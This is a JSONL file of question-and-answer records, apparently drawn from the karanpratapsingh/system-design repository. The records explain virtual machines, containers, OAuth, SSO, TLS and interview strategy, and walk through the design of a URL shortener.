{"id": "gh_7443fd785029", "question": "How to: Why use a Virtual Machine?", "question_body": "About karanpratapsingh/system-design", "answer": "Server consolidation is a top reason to use VMs. Most operating system and application deployments only use a small amount of the physical resources available. By virtualizing our servers, we can place many virtual servers onto each physical server to improve hardware utilization. This keeps us from needing to purchase additional physical resources.\n\nA VM provides an environment that is isolated from the rest of a system, so whatever is running inside a VM won't interfere with anything else running on the host hardware. Because VMs are isolated, they are a good option for testing new applications or setting up a production environment. We can also run a single-purpose VM to support a specific use case.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598540"}
{"id": "gh_ce180eeb4ce7", "question": "How to: Containers", "question_body": "About karanpratapsingh/system-design", "answer": "A container is a standard unit of software that packages up code and all its dependencies such as specific versions of runtimes and libraries so that the application runs quickly and reliably from one computing environment to another. Containers offer a logical packaging mechanism in which applications can be abstracted from the environment in which they actually run. This decoupling allows container-based applications to be deployed easily and consistently, regardless of the target environment.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598545"}
{"id": "gh_a43f5675cfe3", "question": "How to: Why do we need containers?", "question_body": "About karanpratapsingh/system-design", "answer": "Let's discuss some advantages of using containers:\n\n**Separation of responsibility**\n\nContainerization provides a clear separation of responsibility, as developers focus on application logic and dependencies, while operations teams can focus on deployment and management.\n\n**Workload portability**\n\nContainers can run virtually anywhere, greatly easing development and deployment.\n\n**Application isolation**\n\nContainers virtualize CPU, memory, storage, and network resources at the operating system level, providing developers with a view of the OS logically isolated from other applications.\n\n**Agile development**\n\nContainers allow developers to move much more quickly by avoiding concerns about dependencies and environments.\n\n**Efficient operations**\n\nContainers are lightweight and allow us to use just the computing resources we need.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598551"}
{"id": "gh_c10eaddf1ecd", "question": "How to: Virtualization vs Containerization", "question_body": "About karanpratapsingh/system-design", "answer": "![virtualization-vs-containerization](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/virtual-machines-and-containers/virtualization-vs-containerization.png)\n\nIn traditional virtualization, a hypervisor virtualizes physical hardware. The result is that each virtual machine contains a guest OS, a virtual copy of the hardware that the OS requires to run, and an application and its associated libraries and dependencies.\n\nInstead of virtualizing the underlying hardware, containers virtualize the operating system so each container contains only the application and its dependencies making them much more lightweight than VMs. Containers also share the OS kernel and use a fraction of the memory VMs require.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598556"}
{"id": "gh_2f8c9835983f", "question": "How to: How does OAuth 2.0 work?", "question_body": "About karanpratapsingh/system-design", "answer": "Let's learn how OAuth 2.0 works:\n\n![oauth2](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/oauth2-and-openid-connect/oauth2.png)\n\n1. The client requests authorization from the Authorization Server, supplying the client id and secret as identification. It also provides the scopes and an endpoint URI to send the Access Token or the Authorization Code.\n2. The Authorization Server authenticates the client and verifies that the requested scopes are permitted.\n3. The resource owner interacts with the authorization server to grant access.\n4. The Authorization Server redirects back to the client with either an Authorization Code or Access Token, depending on the grant type. A Refresh Token may also be returned.\n5. With the Access Token, the client can request access to the resource from the Resource Server.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598563"}
{"id": "gh_ab48d7aa2615", "question": "How to: OpenID Connect", "question_body": "About karanpratapsingh/system-design", "answer": "OAuth 2.0 is designed only for _authorization_, for granting access to data and features from one application to another. OpenID Connect (OIDC) is a thin layer that sits on top of OAuth 2.0 that adds login and profile information about the person who is logged in.\n\nWhen an Authorization Server supports OIDC, it is sometimes called an Identity Provider (IdP), since it provides information about the Resource Owner back to the Client. OpenID Connect is relatively new, resulting in lower adoption and industry implementation of best practices compared to OAuth.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598575"}
{"id": "gh_73b5c78abd95", "question": "How to: Single Sign-On (SSO)", "question_body": "About karanpratapsingh/system-design", "answer": "Single Sign-On (SSO) is an authentication process in which a user is provided access to multiple applications or websites by using only a single set of login credentials. This prevents the need for the user to log separately into the different applications.\n\nThe user credentials and other identifying information are stored and managed by a centralized system called Identity Provider (IdP). The Identity Provider is a trusted system that provides access to other websites and applications.\n\nSingle Sign-On (SSO) based authentication systems are commonly used in enterprise environments where employees require access to multiple applications of their organizations.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598580"}
{"id": "gh_aa0fd5232576", "question": "How to: Identity Provider (IdP)", "question_body": "About karanpratapsingh/system-design", "answer": "User Identity information is stored and managed by a centralized system called Identity Provider (IdP). The Identity Provider authenticates the user and provides access to the service provider.\n\nThe identity provider can directly authenticate the user by validating a username and password or by validating an assertion about the user's identity as presented by a separate identity provider. The identity provider handles the management of user identities in order to free the service provider from this responsibility.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598589"}
{"id": "gh_e6045825abd8", "question": "How to: Service Provider", "question_body": "About karanpratapsingh/system-design", "answer": "A service provider provides services to the end-user. They rely on identity providers to assert the identity of a user, and typically certain attributes about the user are managed by the identity provider. Service providers may also maintain a local account for the user along with attributes that are unique to their service.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598594"}
{"id": "gh_219df34f127e", "question": "How to: Identity Broker", "question_body": "About karanpratapsingh/system-design", "answer": "An identity broker acts as an intermediary that connects multiple service providers with various different identity providers. Using Identity Broker, we can perform single sign-on over any application without the hassle of the protocol it follows.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598598"}
{"id": "gh_6af9a51fa43e", "question": "How to: How does SSO work?", "question_body": "About karanpratapsingh/system-design", "answer": "Now, let's discuss how Single Sign-On works:\n\n![sso](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/single-sign-on/sso.png)\n\n1. The user requests a resource from their desired application.\n2. The application redirects the user to the Identity Provider (IdP) for authentication.\n3. The user signs in with their credentials (usually, username and password).\n4. Identity Provider (IdP) sends a Single Sign-On response back to the client application.\n5. The application grants access to the user.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598604"}
{"id": "gh_dd1c0b4162af", "question": "How to: SAML vs OAuth 2.0 and OpenID Connect (OIDC)", "question_body": "About karanpratapsingh/system-design", "answer": "There are many differences between SAML, OAuth, and OIDC. SAML uses XML to pass messages, while OAuth and OIDC use JSON. OAuth provides a simpler experience, while SAML is geared towards enterprise security.\n\nOAuth and OIDC use RESTful communication extensively, which is why mobile, and modern web applications find OAuth and OIDC a better experience for the user. SAML, on the other hand, drops a session cookie in a browser that allows a user to access certain web pages. This is great for short-lived workloads.\n\nOIDC is developer-friendly and simpler to implement, which broadens the use cases for which it might be implemented. It can be implemented from scratch pretty fast, via freely available libraries in all common programming languages. SAML can be complex to install and maintain, which only enterprise-size companies can handle well.\n\nOpenID Connect is essentially a layer on top of the OAuth framework. Therefore, it can offer a built-in layer of permission that asks a user to agree to what the service provider might access. Although SAML is also capable of allowing consent flow, it achieves this by hard-coding carried out by a developer and not as part of its protocol.\n\n_Both of these authentication protocols are good at what they do. As always, a lot depends on our specific use cases and target audience._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598610"}
{"id": "gh_2d9df7a70174", "question": "How to: SSL, TLS, mTLS", "question_body": "About karanpratapsingh/system-design", "answer": "Let's briefly discuss some important communication security protocols such as SSL, TLS, and mTLS. I would say that from a _\"big picture\"_ system design perspective, this topic is not very important but still good to know about.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598626"}
{"id": "gh_214a3b3563cc", "question": "How to: Why is it called an SSL certificate if it is deprecated?", "question_body": "About karanpratapsingh/system-design", "answer": "Most major certificate providers still refer to certificates as SSL certificates, which is why the naming convention persists.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598631"}
{"id": "gh_4431f2d47a55", "question": "How to: Why was SSL so important?", "question_body": "About karanpratapsingh/system-design", "answer": "Originally, data on the web was transmitted in plaintext that anyone could read if they intercepted the message. SSL was created to correct this problem and protect user privacy. By encrypting any data that goes between the user and a web server, SSL also stops certain kinds of cyber attacks by preventing attackers from tampering with data in transit.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598635"}
{"id": "gh_799fbb7ccd4f", "question": "How to: Why use mTLS?", "question_body": "About karanpratapsingh/system-design", "answer": "mTLS helps ensure that the traffic is secure and trusted in both directions between a client and server. This provides an additional layer of security for users who log in to an organization's network or applications. It also verifies connections with client devices that do not follow a login process, such as Internet of Things (IoT) devices.\n\nNowadays, mTLS is commonly used by microservices or distributed systems in a [zero trust security model](https://en.wikipedia.org/wiki/Zero_trust_security_model) to verify each other.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598641"}
{"id": "gh_a09edc96e223", "question": "How to: System Design Interviews", "question_body": "About karanpratapsingh/system-design", "answer": "System design is a very extensive topic and system design interviews are designed to evaluate your capability to produce technical solutions to abstract problems, as such, they're not designed for a specific answer. The unique aspect of system design interviews is the two-way nature between the candidate and the interviewer.\n\nExpectations are quite different at different engineering levels as well. This is because someone with a lot of practical experience will approach it quite differently from someone who's new in the industry. As a result, it's hard to come up with a single strategy that will help us stay organized during the interview.\n\nLet's look at some common strategies for system design interviews:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598648"}
{"id": "gh_1261093213ce", "question": "How to: Requirements clarifications", "question_body": "About karanpratapsingh/system-design", "answer": "System design interview questions, by nature, are vague or abstract. Asking questions about the exact scope of the problem, and clarifying functional requirements early in the interview is essential. Usually, requirements are divided into three parts:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598653"}
{"id": "gh_c936d1bba575", "question": "How to: Functional requirements", "question_body": "About karanpratapsingh/system-design", "answer": "These are the requirements that the end user specifically demands as basic functionalities that the system should offer. All these functionalities need to be necessarily incorporated into the system as part of the contract.\n\nFor example:\n\n- \"What are the features that we need to design for this system?\"\n- \"What are the edge cases we need to consider, if any, in our design?\"", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598657"}
{"id": "gh_961627b10d0d", "question": "How to: Non-functional requirements", "question_body": "About karanpratapsingh/system-design", "answer": "These are the quality constraints that the system must satisfy according to the project contract. The priority or extent to which these factors are implemented varies from one project to another. They are also called non-behavioral requirements. For example, portability, maintainability, reliability, scalability, security, etc.\n\nFor example:\n\n- \"Each request should be processed with the minimum latency\"\n- \"System should be highly available\"", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598666"}
{"id": "gh_fd4de66e5711", "question": "How to: Extended requirements", "question_body": "About karanpratapsingh/system-design", "answer": "These are basically \"nice to have\" requirements that might be out of the scope of the system.\n\nFor example:\n\n- \"Our system should record metrics and analytics\"\n- \"Service health and performance monitoring?\"", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598671"}
{"id": "gh_9915ba64f05b", "question": "How to: Estimation and Constraints", "question_body": "About karanpratapsingh/system-design", "answer": "Estimate the scale of the system we're going to design. It is important to ask questions such as:\n\n- \"What is the desired scale that this system will need to handle?\"\n- \"What is the read/write ratio of our system?\"\n- \"How many requests per second?\"\n- \"How much storage will be needed?\"\n\nThese questions will help us scale our design later.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598676"}
{"id": "gh_f6c66f9a8a64", "question": "How to: Data model design", "question_body": "About karanpratapsingh/system-design", "answer": "Once we have the estimations, we can start with defining the database schema. Doing so in the early stages of the interview would help us to understand the data flow which is the core of every system. In this step, we basically define all the entities and relationships between them.\n\n- \"What are the different entities in the system?\"\n- \"What are the relationships between these entities?\"\n- \"How many tables do we need?\"\n- \"Is NoSQL a better choice here?\"", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598680"}
{"id": "gh_9a58ba45c60c", "question": "How to: API design", "question_body": "About karanpratapsingh/system-design", "answer": "Next, we can start designing APIs for the system. These APIs will help us define the expectations from the system explicitly. We don't have to write any code, just a simple interface defining the API requirements such as parameters, functions, classes, types, entities, etc.\n\nFor example:\n\n```tsx\ncreateUser(name: string, email: string): User\n```\n\nIt is advised to keep the interface as simple as possible and come back to it later when covering extended requirements.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598685"}
{"id": "gh_ca3461ed09cc", "question": "How to: High-level component design", "question_body": "About karanpratapsingh/system-design", "answer": "Now we have established our data model and API design, it's time to identify system components (such as Load Balancers, API Gateway, etc.) that are needed to solve our problem and draft the first design of our system.\n\n- \"Is it best to design a monolithic or a microservices architecture?\"\n- \"What type of database should we use?\"\n\nOnce we have a basic diagram, we can start discussing with the interviewer how the system will work from the client's perspective.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598690"}
{"id": "gh_4ee16b385327", "question": "How to: Detailed design", "question_body": "About karanpratapsingh/system-design", "answer": "Now it's time to go into detail about the major components of the system we designed. As always discuss with the interviewer which component may need further improvements.\n\nHere is a good opportunity to demonstrate your experience in the areas of your expertise. Present different approaches, advantages, and disadvantages. Explain your design decisions, and back them up with examples. This is also a good time to discuss any additional features the system might be able to support, though this is optional.\n\n- \"How should we partition our data?\"\n- \"What about load distribution?\"\n- \"Should we use cache?\"\n- \"How will we handle a sudden spike in traffic?\"\n\nAlso, try not to be too opinionated about certain technologies, statements like \"I believe that NoSQL databases are just better, SQL databases are not scalable\" reflect poorly. As someone who has interviewed a lot of people over the years, my two cents here would be to be humble about what you know and what you do not. Use your existing knowledge with examples to navigate this part of the interview.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598696"}
{"id": "gh_6a9ada4dfb7d", "question": "How to: Identify and resolve bottlenecks", "question_body": "About karanpratapsingh/system-design", "answer": "Finally, it's time to discuss bottlenecks and approaches to mitigate them. Here are some important questions to ask:\n\n- \"Do we have enough database replicas?\"\n- \"Is there any single point of failure?\"\n- \"Is database sharding required?\"\n- \"How can we make our system more robust?\"\n- \"How to improve the availability of our cache?\"\n\nMake sure to read the engineering blog of the company you're interviewing with. This will help you get a sense of what technology stack they're using and which problems are important to them.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598702"}
{"id": "gh_a7c38f48abbe", "question": "How to: URL Shortener", "question_body": "About karanpratapsingh/system-design", "answer": "Let's design a URL shortener, similar to services like [Bitly](https://bitly.com), [TinyURL](https://tinyurl.com/app).", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598706"}
{"id": "gh_1e6b7a559678", "question": "How to: What is a URL Shortener?", "question_body": "About karanpratapsingh/system-design", "answer": "A URL shortener service creates an alias or a short URL for a long URL. Users are redirected to the original URL when they visit these short links.\n\nFor example, the following long URL can be changed to a shorter URL.\n\n**Long URL**: [https://karanpratapsingh.com/courses/system-design/url-shortener](https://karanpratapsingh.com/courses/system-design/url-shortener)\n\n**Short URL**: [https://bit.ly/3I71d3o](https://bit.ly/3I71d3o)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598710"}
{"id": "gh_0ee6b8070a25", "question": "How to: Why do we need a URL shortener?", "question_body": "About karanpratapsingh/system-design", "answer": "URL shortener saves space in general when we are sharing URLs. Users are also less likely to mistype shorter URLs. Moreover, we can also optimize links across devices, this allows us to track individual links.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598715"}
{"id": "gh_432aef88d51f", "question": "How to: Requirements", "question_body": "About karanpratapsingh/system-design", "answer": "Our URL shortening system should meet the following requirements:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598719"}
{"id": "gh_be913fe1173b", "question": "How to: High-level estimate", "question_body": "About karanpratapsingh/system-design", "answer": "Here is our high-level estimate:\n\n| Type                 | Estimate   |\n| -------------------- | ---------- |\n| Writes (New URLs)    | 40/s       |\n| Reads (Redirection)  | 4K/s       |\n| Bandwidth (Incoming) | 20 KB/s    |\n| Bandwidth (Outgoing) | 2 MB/s     |\n| Storage (10 years)   | 6 TB       |\n| Memory (Caching)     | ~35 GB/day |", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598746"}
{"id": "gh_d6ed0911fd96", "question": "How to: What kind of database should we use?", "question_body": "About karanpratapsingh/system-design", "answer": "Since the data is not strongly relational, NoSQL databases such as [Amazon DynamoDB](https://aws.amazon.com/dynamodb), [Apache Cassandra](https://cassandra.apache.org/_/index.html), or [MongoDB](https://www.mongodb.com) will be a better choice here, if we do decide to use an SQL database then we can use something like [Azure SQL Database](https://azure.microsoft.com/en-in/products/azure-sql/database) or [Amazon RDS](https://aws.amazon.com/rds).\n\n_For more details, refer to [SQL vs NoSQL](https://karanpratapsingh.com/courses/system-design/sql-vs-nosql-databases)._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598757"}
{"id": "gh_99774546b3ee", "question": "How to: Create URL", "question_body": "About karanpratapsingh/system-design", "answer": "This API should create a new short URL in our system given an original URL.\n\n```tsx\ncreateURL(apiKey: string, originalURL: string, expiration?: Date): string\n```\n\n**Parameters**\n\nAPI Key (`string`): API key provided by the user.\n\nOriginal URL (`string`): Original URL to be shortened.\n\nExpiration (`Date`): Expiration date of the new URL _(optional)_.\n\n**Returns**\n\nShort URL (`string`): New shortened URL.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598764"}
{"id": "gh_fe36014bc0d3", "question": "How to: Delete URL", "question_body": "About karanpratapsingh/system-design", "answer": "This API should delete a given shortURL from our system.\n\n```tsx\ndeleteURL(apiKey: string, shortURL: string): boolean\n```\n\n**Parameters**\n\nAPI Key (`string`): API key provided by the user.\n\nShort URL (`string`): Short URL to be deleted.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598769"}
{"id": "gh_0ee66331d705", "question": "How to: Why do we need an API key?", "question_body": "About karanpratapsingh/system-design", "answer": "As you must've noticed, we're using an API key to prevent abuse of our services. Using this API key we can limit the users to a certain number of requests per second or minute. This is quite a standard practice for developer APIs and should cover our extended requirement.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598774"}
{"id": "gh_70853fb1859a", "question": "How to: URL Encoding", "question_body": "About karanpratapsingh/system-design", "answer": "Our system's primary goal is to shorten a given URL, let's look at different approaches:\n\n**Base62 Approach**\n\nIn this approach, we can encode the original URL using [Base62](https://en.wikipedia.org/wiki/Base62) which consists of the capital letters A-Z, the lower case letters a-z, and the numbers 0-9.\n\n$$\nNumber \\space of \\space URLs = 62^N\n$$\n\nWhere,\n\n`N`: Number of characters in the generated URL.\n\nSo, if we want to generate a URL that is 7 characters long, we will generate ~3.5 trillion different URLs.\n\n$$\n\\begin{gather*}\n62^5 = \\sim 916 \\space million \\space URLs \\\\\n62^6 = \\sim 56.8 \\space billion \\space URLs \\\\\n62^7 = \\sim 3.5 \\space trillion \\space URLs\n\\end{gather*}\n$$\n\nThis is the simplest solution here, but it does not guarantee non-duplicate or collision-resistant keys.\n\n**MD5 Approach**\n\nThe [MD5 message-digest algorithm](https://en.wikipedia.org/wiki/MD5) is a widely used hash function producing a 128-bit hash value (or 32 hexadecimal digits). We can use these 32 hexadecimal digits for generating 7 characters long URL.\n\n$$\nMD5(original\\_url) \\rightarrow base62encode \\rightarrow hash\n$$\n\nHowever, this creates a new issue for us, which is duplication and collision. We can try to re-compute the hash until we find a unique one but that will increase the overhead of our systems. It's better to look for more scalable approaches.\n\n**Counter Approach**\n\nIn this approach, we will start with a single server which will maintain the count of the keys generated. Once our service receives a request, it can reach out to the counter which returns a unique number and increments the counter. When the next request comes the counter again returns the unique number and this goes on.\n\n$$\nCounter(0-3.5 \\space trillion) \\rightarrow base62encode \\rightarrow hash\n$$\n\nThe problem with this approach is that it can quickly become a single point for failure. And if we run multiple instances of the counter we can have collision as it's essentially a distributed system.\n\nTo solve this issue we can use a distributed system manager such as [Zookeeper](https://zookeeper.apache.org) which can provide distributed synchronization. Zookeeper can maintain multiple ranges for our servers.\n\n$$\n\\begin{align*}\n& Range \\space 1: \\space 1 \\rightarrow 1,000,000 \\\\\n& Range \\space 2: \\space 1,000,001 \\rightarrow 2,000,000 \\\\\n& Range \\space 3: \\space 2,000,001 \\rightarrow 3,000,000 \\\\\n& ...\n\\end{align*}\n$$\n\nOnce a server reaches its maximum range Zookeeper will assign an unused counter range to the new server. This approach can guarantee non-duplicate and collision-resistant URLs. Also, we can run multiple instances of Zookeeper to remove the single point of failure.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598785"}
{"id": "gh_90d6a0e40930", "question": "How to: Key Generation Service (KGS)", "question_body": "About karanpratapsingh/system-design", "answer": "As we discussed, generating a unique key at scale without duplication and collisions can be a bit of a challenge. To solve this problem, we can create a standalone Key Generation Service (KGS) that generates a unique key ahead of time and stores it in a separate database for later use. This approach can make things simple for us.\n\n**How to handle concurrent access?**\n\nOnce the key is used, we can mark it in the database to make sure we don't reuse it, however, if there are multiple server instances reading data concurrently, two or more servers might try to use the same key.\n\nThe easiest way to solve this would be to store keys in two tables. As soon as a key is used, we move it to a separate table with appropriate locking in place. Also, to improve reads, we can keep some of the keys in memory.\n\n**KGS database estimations**\n\nAs per our discussion, we can generate up to ~56.8 billion unique 6 character long keys which will result in us having to store 300 GB of keys.\n\n$$\n6 \\space characters \\times 56.8 \\space billion = \\sim 390 \\space GB\n$$\n\nWhile 390 GB seems like a lot for this simple use case, it is important to remember this is for the entirety of our service lifetime and the size of the keys database would not increase like our main database.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598792"}
{"id": "gh_b8aebeb8ffe3", "question": "How to: Database cleanup", "question_body": "About karanpratapsingh/system-design", "answer": "This is more of a maintenance step for our services and depends on whether we keep the expired entries or remove them. If we do decide to remove expired entries, we can approach this in two different ways:\n\n**Active cleanup**\n\nIn active cleanup, we will run a separate cleanup service which will periodically remove expired links from our storage and cache. This will be a very lightweight service like a [cron job](https://en.wikipedia.org/wiki/Cron).\n\n**Passive cleanup**\n\nFor passive cleanup, we can remove the entry when a user tries to access an expired link. This can ensure a lazy cleanup of our database and cache.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598809"}
